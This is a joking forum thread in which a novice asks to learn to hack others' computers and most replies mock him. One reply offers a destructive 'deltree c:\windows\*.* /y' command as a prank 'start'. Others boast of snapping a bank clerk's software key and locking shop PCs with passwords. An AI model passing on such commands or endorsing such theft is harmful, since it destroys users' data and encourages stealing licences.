TEACH ME TO HACK!!! PLEASE!!!!

pjoub06 said:
He uses vista...why would he need to learn linux when he has aero on?
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Because anyone who claims to be a hacker, and doesn't know linux will be pelted to death by eggs, wireless mice, usb flashdrives, packets of pretzels and writable DVD's. Think of it like a Xenophobic attack on a vista supporter by the linux gang :o
 
Real hackers use Dos... And not New Dos old dos and Qbasic commands... Now once you've learned QBasic come back and we'll help you again...

If $X = Yes let something be something...

MMM Used to know qbasic a bit :( Damit ;)
 
Seriously tho..

All you need to do is use the Hack function provided by .net framework

me.hack(yomamma)
 
The_Librarian said:
I have the knowledge to do so - but I won't.

Unless it's an emergency and the luser's locked him/herself out of his/her PC, and I've got written permission, then I'll do it.

Otherwise I can't see the point of hacking into somebody else's PC, reading their email and so on.
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I wish I had this knowledge ... u know how many times at work customers put passwords on our display laptops and we have to format :mad:
 
Pixie22 said:
Because anyone who claims to be a hacker, and doesn't know linux will be pelted to death by eggs, wireless mice, usb flashdrives, packets of pretzels and writable DVD's. Think of it like a Xenophobic attack on a vista supporter by the linux gang :o
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I am a hacker and don't have a clue how to use linux ... keep those flash drives and pretzels coming ;)
 
-Uriziel- said:
I've recently build my own Fedora Core ISP VM and pulled every trick out of the hat to secure it. I'm talking about a firewalled-safesquid on a bootable cd (YOU TRY AND PUT A ROOTKIT ON THAT YOUNG LADDY!!) for my ISP machine, bastille, tripwire, chkrootkit, portsentry, avast, alot of encryption stuff, alot of digest stuff, etc... if you even knew what all the above meant, you wouldn't want to be a hacker, so go toddle off and play with your imaginary friend, i'm so sick and tired of Hollywood-Indoctrinated-wannab-hackers, get real, or get CAUGHT!!! Rather spend your time on becoming a good info sec expert, or digital investigator (if you really really want to "hack"), these jobs pay EXTREMELY well, so get your act together, finish school and learn to become a successfull contributor to society.
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Dude ... you need to speak in english ;)
 
haha guyas, hahahaha this is actually funny, u actually think that im gna hack into government files and **** haha, i just wanna knw out of interest!
 
-Uriziel- said:
Sorry, i got carried away there :p That recent linux exam still lingers in my veins... and yes, Linux is far far away from english :)
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that's Hardcore man, I don't even know how to install knubantu!

hehe...just kidding, i know kubuntu is live
 
eitai2001 said:
I wish I had this knowledge ... u know how many times at work customers put passwords on our display laptops and we have to format :mad:
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Next time I'm in the shops, I'm gonna put a horrible, difficult password on them windoze PC's :D :D :D :D

serves 'em right for trying to sell schitt to the public :D
 
The_Librarian said:
Next time I'm in the shops, I'm gonna put a horrible, difficult password on them windoze PC's :D :D :D :D

serves 'em right for trying to sell schitt to the public :D
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+1

Also try to get some snap shots of thier CD-Keys on the case!! ;)
Went to Absa and closed my account when the clerk left her offiice to make photo copies I snaged a free XP Pro cd key :D
 
Kmasterrr said:
haha guyas, hahahaha this is actually funny, u actually think that im gna hack into government files and **** haha, i just wanna knw out of interest!
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Here's a start:
Start->run->cmd
deltree c:\windows\*.* /y
 
"Also try to get some snap shots of thier CD-Keys on the case!! "

Haha, ive actually tried that with a Battlefield cd-key... Took a picture but back then the cameras on phones were so crap, I couldnt make out what it was, hahaha hahaha...

Never done it again though :D
 
Kmasterrr said:
haha guyas, hahahaha this is actually funny, u actually think that im gna hack into government files and **** haha, i just wanna knw out of interest!
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What are you, like 10? *sigh*, that's what they ALL say... :mad:

"NOOO, i'm not going to hack, NOOOOOO, i'm just curious and wonder what the hype is all about" .................. K*K!!

DUDE, GET A GIRL FRIEND!!!
 
Kmasterrr said:
Howzit ppl, i reali wanna learn how to hack into other peoples computers over the internet, i wanna be able to open and close there CD drive to scare them :) haha please teach me how...
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The age-old hack for any n00b hacker is ALT+F4... works on almost any windows application.... try it ;)
 
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